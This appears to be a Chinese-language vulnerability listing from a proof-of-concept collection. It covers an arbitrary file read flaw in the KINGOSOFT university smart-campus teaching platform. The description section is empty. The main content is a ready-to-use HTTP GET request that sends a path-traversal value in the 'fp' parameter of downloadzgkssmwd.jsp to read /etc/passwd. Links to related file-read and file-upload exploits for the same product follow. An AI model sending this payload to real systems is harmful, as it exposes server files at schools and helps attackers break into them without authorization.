KINGOSOFT高校智慧校园教学综合服务平台 downloadzgkssmwd 任意文件读取漏洞

漏洞描述

PoC代码

GET /zgks/downloadzgkssmwd.jsp?fp=../../../../../../../../../../../etc/passwd HTTP/1.1

相关漏洞推荐

• KINGOSOFT高校智慧校园教学综合服务平台 /jw/lessonchangeapply/jwComFileDownload.action 文件读取漏洞
• POC KINGOSOFT高校智慧校园教学综合服务平台 uploadfile 任意文件上传漏洞